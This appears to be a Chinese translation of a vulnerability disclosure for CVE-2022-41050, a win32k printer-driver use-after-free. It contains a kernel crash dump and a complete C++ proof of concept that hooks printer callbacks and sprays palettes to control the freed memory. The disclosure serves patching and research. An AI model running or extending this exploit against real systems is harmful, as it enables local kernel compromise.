WIN32K 用户模式打印机驱动程序启动文档 UAF

总结

UMPD(用户模式打印机驱动程序)中存在一个漏洞,允许本地用户触发释放后使用漏洞。该漏洞适用于Windows 8及更高版本,并且在较旧的Windows计算机上很容易被利用。

原文链接:https://ssd-disclosure.com/win32k-user-mode-printer-drivers-startdoc-uaf/

Credit

从事 SSD 安全披露工作的独立安全研究人员。

CVE

CVE-2022-41050

供应商响应

供应商已在以下位置发布了可用的修补程序: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41050

技术分析

BoundClipRGNToSurface 合并表面的方式中存在一个漏洞,使得攻击者能够在释放后触发使用,因为该功能会释放使用的数据,然后访问它。如果释放的内存已正确准备,则攻击者可以控制崩溃并使其执行任意代码。

要触发漏洞,请启用 Windows 11 的特殊池并启动 PoC,将显示以下崩溃信息:

CONTEXT:  ffff808ee1ffd8a0 -- (.cxr 0xffff808ee1ffd8a0)
rax=ffff82b24d980f90 rbx=ffff808ee1ffe500 rcx=ffff808ee1ffe440
rdx=ffff82b253fd2f90 rsi=ffff808ee1ffe848 rdi=ffff808ee1ffe4f8
rip=ffff829502061123 rsp=ffff808ee1ffe2c0 rbp=ffff808ee1ffe440
 r8=ffff808ee1ffe450  r9=ffff82b253fd4f08 r10=414141414141413d
r11=0000000000000000 r12=0000000000000000 r13=ffff808ee1ffe9a8
r14=ffff82b253fd4f90 r15=4141414141414141
iopl=0         nv up ei pl nz ac pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050212
win32kbase!RGNOBJ::bMerge+0x43:
ffff8295`02061123 418b02          mov     eax,dword ptr [r10] ds:002b:41414141`4141413d=????????
Resetting default scope

PROCESS_NAME:  poc-bound.exe

STACK_TEXT:  
ffff808e`e1ffe2c0 ffff8295`032dcc4b     : ffff808e`e1ffe440 ffff808e`e1ffe848 ffff808e`e1ffe450 ffff808e`e1ffe408 : win32kbase!RGNOBJ::bMerge+0x43
ffff808e`e1ffe410 ffff8295`032492d1     : ffff82b2`4d966ce8 00000000`00000000 ffff808e`e1ffea30 ffff808e`e1ffea30 : win32kfull!BOUNDCLIPRGNTOSURFACE::BOUNDCLIPRGNTOSURFACE+0x9385f
ffff808e`e1ffe4a0 ffff8295`0324a97e     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : win32kfull!EngStrokePath+0x61
ffff808e`e1ffe610 ffff8295`0324b05e     : 00000000`00000d0d 00000000`1000a01f ffff808e`e1ffe780 00000000`00000001 : win32kfull!EPATHOBJ::bSimpleStroke+0x18a
ffff808e`e1ffe6f0 ffff8295`0324e5e1     : 00000000`00000001 00000000`00000001 00000000`00000000 00000000`00000000 : win32kfull!EPATHOBJ::bStrokeAndOrFill+0x596
ffff808e`e1ffe910 ffff8295`0324df38     : 00000000`14210982 00000000`00000014 ffff808e`00000387 00000000`14210982 : win32kfull!GreLineTo+0x661
ffff808e`e1ffed40 ffff8295`024bd54a     : 00000000`0000000e 00000000`0000025f 00000000`000003f8 ffffe784`60c40080 : win32kfull!NtGdiLineTo+0x68
ffff808e`e1ffedf0 fffff801`6b02f075     : 0000016b`f3d70680 0000016b`f6030000 0000003f`49daebd7 ffffe784`60d77080 : win32k!NtGdiLineTo+0x16
ffff808e`e1ffee20 00007ffb`148d1b14     : 00007ffb`13f72339 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 : nt!KiSystemServiceCopyEnd+0x25
0000003e`c9dae188 00007ffb`13f72339     : 00007ffb`16acd240 0000016b`f3d71580 00000000`00000387 00000000`00000000 : win32u!NtGdiLineTo+0x14
0000003e`c9dae190 00007ffb`14da4d37     : 0000016b`f3d73790 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9dae1c0 00007ff7`7c29104c     : 0000003e`c9daebd8 0000003e`c9dae320 00000000`000003f8 00000000`0049414e : GDI32!LineTo+0x37
0000003e`c9dae1f0 00007ffb`13f7ccbe     : 0000003e`c9daebd8 0000016b`f57ba120 00000000`00000023 00007ffa`ddc50d68 : poc_bound!hook_DrvStrokePath+0x4c [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 111] 
0000003e`c9dae230 00007ffb`157910be     : 0000016b`00000001 00007ffb`00000000 0000003e`c9daebd8 0000016b`f57b0150 : gdi32full!GdiPrinterThunk+0x177e
0000003e`c9dae300 00007ffb`16b07e04     : 00000000`00000010 0000016b`f5802720 00000000`00000011 00007ffa`ddc4f998 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daeb80 00007ffb`148d1b14     : 00007ffb`13f72339 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daec38 00007ffb`13f72339     : 0000016b`f57ba170 00007ffa`ddbbbeb3 00000000`00000258 00000000`00000258 : win32u!NtGdiLineTo+0x14
0000003e`c9daec40 00007ffb`14da4d37     : 00007ffa`ddc48ce0 00000000`14210982 00000000`00000001 00000000`00000000 : gdi32full!LineToImpl+0x49
0000003e`c9daec70 00007ff7`7c291146     : 0000003e`c9daf678 0000003e`c9daedc0 0000016b`f3d73790 0000003e`0049414e : GDI32!LineTo+0x37
0000003e`c9daeca0 00007ffb`13f7c55e     : 0000003e`c9daf678 00007ffb`13f7c42a 00001b68`00001361 0000003e`c9daf688 : poc_bound!hook_DrvStartDoc+0x16 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 115] 
0000003e`c9daecd0 00007ffb`157910be     : 00000000`00000001 00007ffb`00000000 0000003e`c9daf678 00007ffb`00000000 : gdi32full!GdiPrinterThunk+0x101e
0000003e`c9daeda0 00007ffb`16b07e04     : 00000000`00000000 00007ffb`16b07e04 00007ff7`7c293330 0000016b`f3d9e3f0 : USER32!__ClientPrinterThunk+0x3e
0000003e`c9daf620 00007ffb`148d7694     : 00007ffb`13faff32 00000000`00000000 00000000`00000000 00000000`14210982 : ntdll!KiUserCallbackDispatcherContinue
0000003e`c9daf6a8 00007ffb`13faff32     : 00000000`00000000 00000000`00000000 00000000`14210982 00000000`00000003 : win32u!NtGdiStartDoc+0x14
0000003e`c9daf6b0 00007ffb`14dae2c2     : 0000016b`f3da2601 00000000`00000001 0000003e`c9daf8f0 00000000`00000000 : gdi32full!StartDocWImpl+0x5b2
0000003e`c9daf870 00007ff7`7c291301     : 0000016b`f3d55db0 00000000`00000000 00000000`0049414e 00000000`00000000 : GDI32!StartDocW+0x32
0000003e`c9daf8a0 00007ff7`7c291540     : 00000000`00000000 00007ff7`7c2915b9 00000000`00000000 00000000`00000000 : poc_bound!main+0x1b1 [F:\research\win32k\bugs\poc-bound\poc-bound\poc-bound.cpp @ 130] 
0000003e`c9daf940 00007ffb`149154e0     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : poc_bound!__scrt_common_main_seh+0x10c [d:\a01\_work\43\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
0000003e`c9daf980 00007ffb`16a6485b     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x10
0000003e`c9daf9b0 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x2b

PoC

#include <stdlib.h>  
#include <stdio.h>  
#include <limits.h>  
#include <iostream>
#include <windows.h>
#include <vector>
#include <winddi.h>
#include <winternl.h>

#define PRINTER_NAME L"Microsoft XPS Document Writer"

typedef BOOL(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA* pded);

HMODULE LoadPrinterDll()
{
    HANDLE hPrinter = NULL;

    // Open printer
    if (!OpenPrinterW((LPWSTR)PRINTER_NAME, &hPrinter, NULL))
    {
        puts("[-] Failed to open printer");
        return NULL;
    }

    // Get the printer driver
    DWORD pcbNeeded;
    GetPrinterDriverW(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);

    DRIVER_INFO_2W* driverInfo = (DRIVER_INFO_2W*)malloc(pcbNeeded);
    if (!GetPrinterDriverW(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded))
    {
        return NULL;
    }

    // Load the printer driver into memory
    return LoadLibraryExW(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

}


HPALETTE createpalette_primitive(SHORT chunk_size) {
    WORD palette_entries_count, palette_size;
    LOGPALETTE* palette;

    palette_entries_count = (chunk_size - 0x90) / 4;
    palette_size = sizeof(LOGPALETTE) + (palette_entries_count - 1) * sizeof(PALETTEENTRY);
    palette = (LOGPALETTE*)malloc(palette_size);

    memset(palette, 0x41, palette_size);
    
    palette->palNumEntries = palette_entries_count;
    palette->palVersion = 0x300;

    return CreatePalette(palette);
}


VOID spray(UINT _chunk_size, UINT count) {
    for (UINT i = 0; i < count; i++) {
        createpalette_primitive(_chunk_size);
    }
}


BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX       mix);
BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR  pwszDocName, DWORD   dwJobId);

void Setup_UmpdHook() {
    HMODULE hPrinter = LoadPrinterDll();
    DrvEnableDriver_t DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hPrinter, "DrvEnableDriver");

    DRVENABLEDATA ded;
    DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(ded), &ded);

    DWORD lpOldProtect;
    VirtualProtect(ded.pdrvfn, ded.c * sizeof(PFN), PAGE_READWRITE, &lpOldProtect);

    for (int i = 0; i < ded.c; i++) {
        if (ded.pdrvfn[i].iFunc == INDEX_DrvStrokePath) {
            ded.pdrvfn[i].pfn = (PFN)hook_DrvStrokePath;
        }
        else if (ded.pdrvfn[i].iFunc == INDEX_DrvStartDoc) {
            ded.pdrvfn[i].pfn = (PFN)hook_DrvStartDoc;
        }
    }
}


//=====================
// Umpd Hooks
//=====================
HDC hdc = 0;

int hook_DrvStrokePath_count = 0;
BOOL hook_DrvStrokePath(SURFOBJ* pso, PATHOBJ* ppo, CLIPOBJ* pco, XFORMOBJ* pxo, BRUSHOBJ* pbo, POINTL* pptlBrushOrg, LINEATTRS* plineattrs, MIX       mix) {
    hook_DrvStrokePath_count++;
    if (hook_DrvStrokePath_count == 1) {
        ExcludeClipRect(hdc, 0x25f, 0x3f8, 0x1, 0x387);
        LineTo(hdc, 0, 0);
    }
    else if (hook_DrvStrokePath_count == 2) {
        ExcludeClipRect(hdc, 0x10a, 0x2d2, 0x243, 0x217);
        Ellipse(hdc, 0x15a, 0x3a1, 0x29, 0x10a);
        
        spray(0x120, 0x1000);   // Fill the Freed Region with 0x41414141
    }

    return FALSE;       // SHOULD RETURN FALSE
}

BOOL hook_DrvStartDoc(SURFOBJ* pso, LPWSTR  pwszDocName, DWORD   dwJobId) {
    LineTo(hdc, 0, 0);          // -> causes hook_DrvStrokePath to be called
    return TRUE;
}

int main(int argc, char **argv)
{
    Setup_UmpdHook();
    
    hdc = CreateDC(NULL, PRINTER_NAME, NULL, NULL);
    DOCINFO di;
    ZeroMemory(&di, sizeof(di));
    di.cbSize = sizeof(di);
    di.lpszDocName = L"Test";
    di.lpszOutput = L"Test.xps";
    StartDoc(hdc, &di);

    return 0;
}

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注